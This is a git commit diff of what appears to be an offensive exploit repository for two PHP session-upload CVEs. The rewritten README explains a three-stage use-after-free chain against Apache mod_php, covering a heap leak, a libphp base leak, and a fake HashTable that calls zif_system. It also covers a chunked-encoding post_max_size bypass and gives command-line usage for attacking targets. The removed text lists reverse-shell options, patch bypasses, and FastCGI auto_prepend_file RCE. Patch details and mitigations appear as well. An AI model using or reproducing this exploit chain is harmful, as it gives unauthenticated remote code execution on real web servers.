Strip repo to UAF RCE exploit only
Removed all exploits that require LFI or FPM access: - cve-2026-109618/ (OOM + LFI) - cve-2026-109619/ (session poisoning + LFI) - session-deser/ (handler mismatch + deserialization chains) - bypass/ (patch bypasses, all LFI-dependent) - nolfi/ (served save_path + FPM pathinfo) - fcgi/ (FastCGI auto_prepend_file) - wordpress-exploit/ (LFI wrapper) - wordpress/ (vulnerable plugin) Moved the UAF RCE exploit (full ASLR bypass, no LFI, no FPM, no framework) to the repository root. Rewrote README with exploit details, usage, patch analysis, and test results. Cleaned .gitignore.
This commit is contained in:
+2
-29
@@ -1,32 +1,5 @@
|
||||
# PHP builds
|
||||
php-build/
|
||||
php83/
|
||||
php8427/
|
||||
|
||||
# WordPress core
|
||||
wordpress/*.php
|
||||
wordpress/wp-admin/
|
||||
wordpress/wp-includes/
|
||||
wordpress/wp-content/themes/
|
||||
wordpress/wp-content/uploads/
|
||||
wordpress/wp-content/plugins/akismet/
|
||||
wordpress/wp-content/plugins/hello.php
|
||||
wordpress/wp-content/index.php
|
||||
wordpress/wp-content/plugins/index.php
|
||||
wordpress/license.txt
|
||||
wordpress/readme.html
|
||||
wordpress/wp-config.php
|
||||
wordpress/wp-config-sample.php
|
||||
|
||||
# Lab configs (generate your own)
|
||||
*.conf
|
||||
!.gitignore
|
||||
|
||||
# Docker
|
||||
docker-compose.yml
|
||||
|
||||
# Runtime
|
||||
__pycache__/
|
||||
*.pyc
|
||||
*.pid
|
||||
*.log
|
||||
*.sock
|
||||
__pycache__/
|
||||
|
||||
@@ -1,274 +1,259 @@
|
||||
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
||||
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
|
||||
|
||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||
multipart parser and session upload progress handler. Includes three bypass
|
||||
exploits that defeat the official security patch and all recommended mitigations,
|
||||
plus a no-LFI chain that removes the application from the attack entirely.
|
||||
Remote code execution in PHP's session upload progress handler, exploitable
|
||||
over plain HTTP against Apache mod_php with **completely stock configuration**.
|
||||
No LFI, no framework dependency, no non-default PHP settings required.
|
||||
|
||||
**No external dependencies** — pure Python 3 stdlib.
|
||||
## Affected versions
|
||||
|
||||
## Vulnerabilities
|
||||
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
|
||||
running under Apache mod_php with prefork MPM.
|
||||
|
||||
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
||||
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
||||
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
||||
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
||||
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
|
||||
|
||||
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
||||
data verbatim into the session file. With `cleanup=0`, or via race condition
|
||||
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
|
||||
so stale state never persists across requests.
|
||||
|
||||
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
||||
## What this exploit achieves
|
||||
|
||||
## Exploits
|
||||
Full remote code execution (arbitrary command) from a single unauthenticated
|
||||
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||
page does not need `session_start()` or any specific code.
|
||||
|
||||
| Script | Target | Description |
|
||||
|--------|--------|-------------|
|
||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||
| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** |
|
||||
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+
|
||||
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
||||
- A Local File Inclusion vector in the target application
|
||||
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
||||
All of these are default on stock PHP Docker images and common Debian/Ubuntu
|
||||
Apache + mod_php installations:
|
||||
|
||||
- Apache mod_php with prefork MPM
|
||||
- `session.upload_progress.enabled = 1` (default: on)
|
||||
- `session.upload_progress.cleanup = 1` (default: on)
|
||||
- Any PHP-handled URL (even a 404 error page)
|
||||
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
|
||||
|
||||
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
|
||||
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
|
||||
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
|
||||
|
||||
For multi-worker Apache (the default), the `--workers N` spray mode sends
|
||||
the OOM trigger to all workers before probing for the leak.
|
||||
|
||||
## How it works
|
||||
|
||||
### The vulnerability chain
|
||||
|
||||
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
|
||||
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
|
||||
the request shutdown handler. This skips session cleanup code in
|
||||
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
|
||||
and `PS(send_cookie) = 1`.
|
||||
|
||||
**CVE-2026-109619**: On the next request to the same Apache worker,
|
||||
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
|
||||
properly reinitialized. The callback sees the stale `PS(id)` and
|
||||
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
|
||||
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
|
||||
through the stale pointer and emits it as a `Set-Cookie` header.
|
||||
|
||||
### post_max_size bypass via chunked Transfer-Encoding
|
||||
|
||||
PHP checks `Content-Length` against `post_max_size` before invoking the
|
||||
multipart parser. If `Content-Length` exceeds the limit, the body is
|
||||
rejected entirely. However, when the request uses `Transfer-Encoding:
|
||||
chunked` instead of `Content-Length`, no upfront size check occurs.
|
||||
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
|
||||
filter chain without enforcing `post_max_size`, allowing the full body
|
||||
to be processed regardless of the configured limit.
|
||||
|
||||
This means the exploit works against `memory_limit=128M` with
|
||||
`post_max_size=8M` by sending ~140MB of chunked POST data.
|
||||
|
||||
### Three-stage exploit (full ASLR bypass)
|
||||
|
||||
All traffic is plain HTTP multipart POST requests:
|
||||
|
||||
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
|
||||
|
||||
Request A sends 1001+ fields (triggering `max_input_vars` warning which
|
||||
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
|
||||
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
|
||||
large field via chunked TE to trigger OOM. The warning output prevents
|
||||
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
|
||||
remains 1 and `PS(id)` becomes a dangling pointer.
|
||||
|
||||
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
|
||||
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
|
||||
The filler fields' heap allocations overlap the dangling `PS(id)` address.
|
||||
When `php_session_send_cookie()` runs with the stale pointer, it reads
|
||||
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
|
||||
bytes contain Zend MM free-list pointers, which reveal the chunk base
|
||||
address (2MB aligned).
|
||||
|
||||
**Stage 2: Code ASLR bypass (libphp.so base)**
|
||||
|
||||
Similar to stage 1, but request B's field layout places a real PHP
|
||||
`HashTable` structure at the dangling pointer offset. The `pDestructor`
|
||||
field of the HashTable is a function pointer into libphp.so
|
||||
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
|
||||
load address.
|
||||
|
||||
**Stage 3: RCE (zif_system)**
|
||||
|
||||
Request A poisons the worker with stale session state. Request B sprays
|
||||
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
|
||||
whose `pDestructor = zif_system`. When session cleanup calls
|
||||
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
|
||||
attacker-controlled arguments, executing an arbitrary shell command as
|
||||
the web server user (`www-data`).
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# CVE-2026-109618: OOM exploit
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
||||
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
||||
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
||||
|
||||
# CVE-2026-109619: Session poisoning (direct or race)
|
||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||||
|
||||
# WordPress (auto-detects LFI parameter)
|
||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
||||
|
||||
# Patch bypass: race condition on PHP 8.4.27+
|
||||
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
|
||||
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
||||
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
|
||||
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||
```
|
||||
|
||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||
|
||||
## RCE Without LFI
|
||||
|
||||
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||||
with **no application include at all**. The consumer is php-fpm's own request
|
||||
routing instead of application code:
|
||||
|
||||
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||||
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||||
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||||
2. If `session.save_path` is web-served, the session file is directly
|
||||
requestable over HTTP.
|
||||
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||||
fpm executes the extensionless session file through the classic
|
||||
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||||
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||||
execution is raced against the upload window (reliable on streaming
|
||||
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||||
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||||
file persists.
|
||||
|
||||
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||||
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||||
the session decoder itself can never be used as the consumer: the `php`
|
||||
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||||
the raw attacker bytes always land in the key which is never unserialized, and
|
||||
`mod_files` rejects any SID that could turn the filename into an include
|
||||
target.
|
||||
|
||||
```bash
|
||||
# classify the target: which URL prefixes serve session.save_path
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||||
|
||||
# interactive command shell via the served session dir
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# deterministic persistence via the OOM bailout instead of the race
|
||||
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||||
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||||
```
|
||||
|
||||
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||||
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||||
target, request it once, remove it.
|
||||
|
||||
## RCE via FastCGI (Default Config)
|
||||
|
||||
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||||
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||||
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||||
scenarios.
|
||||
|
||||
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||||
worker in the multipart parser (keeping the poisoned session file on disk)
|
||||
while a second FastCGI request to another worker sets
|
||||
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||||
session file before any script. The attacker's PHP code executes.
|
||||
|
||||
`security.limit_extensions` does not block this: it only restricts
|
||||
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||||
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||||
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||||
|
||||
```bash
|
||||
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Unix socket (local access)
|
||||
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||
|
||||
# Specify PHP file and session path
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--script-file /var/www/html/index.php \
|
||||
--session-path /tmp --cmd 'id'
|
||||
|
||||
# Reverse shell
|
||||
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
```
|
||||
|
||||
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||
pool-level configuration can prevent this when FastCGI is reachable.
|
||||
|
||||
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||||
|
||||
`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory
|
||||
corruption path that requires **no LFI, no framework, no libraries, and no
|
||||
non-default PHP settings**. The only SAPI requirement is Apache mod_php with
|
||||
prefork MPM (default on Debian/Ubuntu).
|
||||
|
||||
Three-stage exploit chain with full ASLR bypass, all over plain HTTP:
|
||||
|
||||
1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)`
|
||||
pointer. A second request sprays a fake `zend_string` with `len=0x1000`
|
||||
over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap
|
||||
data into a `Set-Cookie` header, revealing the Zend MM chunk base.
|
||||
2. **Code leak**: Same mechanism, but the spray places a real `HashTable`
|
||||
at the target slot. The `pDestructor` field leaks the libphp.so base.
|
||||
3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an
|
||||
embedded command string is sprayed onto the heap. Session cleanup calls
|
||||
`zend_hash_destroy` on the fake table, invoking `system(cmd)`.
|
||||
|
||||
The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`:
|
||||
PHP only checks `Content-Length`, so a chunked request with no
|
||||
`Content-Length` header delivers the full OOM payload (140MB) despite the
|
||||
default 8MB limit.
|
||||
|
||||
Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`,
|
||||
and WordPress 6.8.1 on stock PHP, all with zero configuration changes.
|
||||
|
||||
```bash
|
||||
# Auto-detect PHP version, look up offsets, exploit
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/index.php
|
||||
python3 rce_exploit.py -u http://target/index.php
|
||||
|
||||
# Verify RCE via docker exec
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ \
|
||||
# Auto-pull matching Docker image for offset extraction
|
||||
python3 rce_exploit.py -u http://target/index.php --auto-pull
|
||||
|
||||
# Verify RCE via docker exec (for testing)
|
||||
python3 rce_exploit.py -u http://target/index.php \
|
||||
--docker-proof CONTAINER /tmp/pwn
|
||||
|
||||
# Multi-worker Apache
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150
|
||||
# Multi-worker Apache spray mode
|
||||
python3 rce_exploit.py -u http://target/ --workers 150
|
||||
|
||||
# Custom command (max 14 bytes; use 'sh</tmp/c' for longer)
|
||||
python3 uaf-rce/rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
|
||||
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||
|
||||
# Extract offsets for a new PHP build
|
||||
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
|
||||
--php-version 8.3.35
|
||||
```
|
||||
|
||||
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||||
never persists across requests. See `uaf-rce/README.md` for the full
|
||||
vulnerability analysis, patch details, and offset database.
|
||||
### Options
|
||||
|
||||
## Patch Bypass Findings
|
||||
| Flag | Default | Description |
|
||||
|---|---|---|
|
||||
| `-u URL` | (required) | Target URL (any PHP endpoint) |
|
||||
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
|
||||
| `--workers N` | 1 | Apache workers to spray |
|
||||
| `--huge-mb N` | 140 | OOM field size in MB |
|
||||
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
|
||||
| `--auto-pull` | off | Pull Docker image for offset extraction |
|
||||
| `--retries N` | 5 | Attempts per stage |
|
||||
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
|
||||
| `--timeout` | 30.0 | Socket timeout in seconds |
|
||||
|
||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||
### Built-in offset database
|
||||
|
||||
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
||||
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
||||
request includes the file during the upload window. Inherent to the feature design.
|
||||
| PHP version | Distro | Status |
|
||||
|---|---|---|
|
||||
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
|
||||
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
|
||||
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
|
||||
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
||||
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
||||
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
||||
path. Worker exits code 1 (not the patched code 70), session persists.
|
||||
## The patch
|
||||
|
||||
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||
poisoning needed. **Bypasses every recommended mitigation.**
|
||||
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
|
||||
layers. Any one of the first three alone is sufficient to block the attack:
|
||||
|
||||
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||||
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||||
file is executed by fpm itself via PATH_INFO routing. No application
|
||||
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||||
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
|
||||
session RFC1867 callback now calls `php_rinit_session_globals()` at
|
||||
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
|
||||
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
|
||||
dangling `PS(id)` from the previous request before B's parsing begins.
|
||||
This single defense is sufficient to kill the entire exploit chain.
|
||||
|
||||
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||||
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||||
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||||
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||||
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||||
See `fcgi/FINDINGS.md`.
|
||||
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
|
||||
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
|
||||
triggers a longjmp during allocation. Instead, a soft limit records
|
||||
the error and sets `vm_interrupt`. Allocations return NULL in fallible
|
||||
mode or succeed up to a hard limit (default 200% of `memory_limit`).
|
||||
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
|
||||
runs normally, so stale state never persists.
|
||||
|
||||
### Mitigation Matrix
|
||||
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
|
||||
check in `fill_buffer()` enforces `post_max_size` against
|
||||
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
|
||||
bypass (which previously allowed sending 140MB despite 8M limit) is
|
||||
blocked. OOM cannot be triggered via multipart data alone.
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||||
|---|---|---|---|---|---|
|
||||
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||||
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||||
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||||
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||||
| + block FPM network access | — | — | — | — | OK |
|
||||
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||||
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
|
||||
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
|
||||
and `BG(unserialize)`, eliminating the stale serialization state
|
||||
window from CVE-2026-109618.
|
||||
|
||||
### Recommendations
|
||||
5. **Session deserialization hardening**: RFC1867 session decode runs in
|
||||
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
|
||||
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
|
||||
guard prevents `request_parse_body()` from corrupting session state.
|
||||
|
||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||
3. Fix any LFI vulnerabilities in applications
|
||||
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||
5. Keep `session.save_path` outside any web-served tree
|
||||
6. Set `open_basedir` to restrict filesystem access
|
||||
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||||
firewall TCP port 9000
|
||||
## Test environment
|
||||
|
||||
## WordPress
|
||||
The `docker/` directory contains a minimal test setup:
|
||||
|
||||
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
||||
LFI vector. Two demo plugins are included:
|
||||
```bash
|
||||
cd docker && docker compose up -d
|
||||
# Stock settings variant (no custom php.ini):
|
||||
docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
||||
```
|
||||
|
||||
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
||||
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
||||
template preview, log viewer, and session-based features
|
||||
The exploit has been tested on:
|
||||
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
|
||||
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
|
||||
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
|
||||
|
||||
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
||||
## display_errors and WordPress
|
||||
|
||||
## Disclaimer
|
||||
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||
The `max_input_vars` warning must produce visible output to set
|
||||
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||
the next request's leak.
|
||||
|
||||
For authorized security testing and research only. Obtain proper authorization
|
||||
before testing against any system you do not own.
|
||||
With `display_errors = Off`, the warning is logged but produces no output.
|
||||
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||
cookie is emitted on the subsequent request.
|
||||
|
||||
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||
without a `php.ini`, so the default applies. Only when a system
|
||||
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||
or adds explicit INI configuration is the target hardened against this leak.
|
||||
|
||||
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||
is vulnerable, because `display_errors` is still `On` at the time the
|
||||
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||
level, which does block the leak.
|
||||
|
||||
**Why display_errors=Off cannot be bypassed**: The info leak requires
|
||||
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
|
||||
`MULTIPART_EVENT_FILE_START`. The only code path that sets
|
||||
`SG(headers_sent)` during multipart parsing is the error display path
|
||||
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
|
||||
gated on `display_errors`. With `display_errors = Off`, warnings go to
|
||||
the error log only, producing no output. There is no alternative
|
||||
mechanism to force HTTP output during multipart parsing: the SAPI write
|
||||
function is the only path, and it requires display_errors or explicit
|
||||
script output (which has not started yet at this stage of request
|
||||
processing). Precision OOM calibration (attempting to trigger OOM inside
|
||||
the ~500-byte `php_session_send_cookie` window) was tested and fails
|
||||
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
|
||||
cannot be calibrated to the required precision.
|
||||
|
||||
## References
|
||||
|
||||
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
|
||||
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
|
||||
- CVSS: 9.2 (both CVEs, per Rapid7)
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
# PHP 8.4.27 Patch Bypass Findings
|
||||
|
||||
## Summary
|
||||
|
||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
|
||||
achieve Remote Code Execution on fully patched systems.
|
||||
|
||||
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
|
||||
two of the three bypasses but is itself defeated by the third.
|
||||
|
||||
## Bypass #1: Race Condition (TOCTOU)
|
||||
|
||||
**File:** `race_bypass_patched.py`
|
||||
**Confirmed RCE:** Yes, first attempt
|
||||
**Patches bypassed:** PHP 8.4.27 OOM fix
|
||||
**Mitigations bypassed:** session.upload_progress.cleanup=1
|
||||
|
||||
The session upload progress feature writes attacker-controlled data to the session
|
||||
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
|
||||
A concurrent LFI request can race to include the session file while the upload is
|
||||
still in progress.
|
||||
|
||||
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
|
||||
design — the data must exist on disk for the feature to work, creating a window
|
||||
that cannot be eliminated without removing the feature.
|
||||
|
||||
**Blocked by:** `session.upload_progress.enabled=0`
|
||||
|
||||
## Bypass #2: RLIMIT_AS / mmap() Failure
|
||||
|
||||
**File:** `rlimit_bypass_patched.py`
|
||||
**Confirmed RCE:** Yes
|
||||
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
|
||||
**Mitigations bypassed:** Standard memory_limit-based OOM handling
|
||||
|
||||
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
|
||||
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
|
||||
(or cgroup memory.max), `mmap()` fails through a **different code path** that
|
||||
the patch does not cover.
|
||||
|
||||
- Worker exits with code **1** (not the patched exit code **70**)
|
||||
- Session file **persists** on disk with attacker-controlled PHP code
|
||||
- New worker spawns → LFI includes poisoned session → RCE
|
||||
|
||||
Relevant in production:
|
||||
- Docker/k8s containers with cgroup memory limits
|
||||
- Shared hosting with per-tenant RLIMIT_AS
|
||||
- Admins using `memory_limit=-1` trusting OS-level limits
|
||||
|
||||
**Blocked by:** `session.upload_progress.enabled=0`
|
||||
|
||||
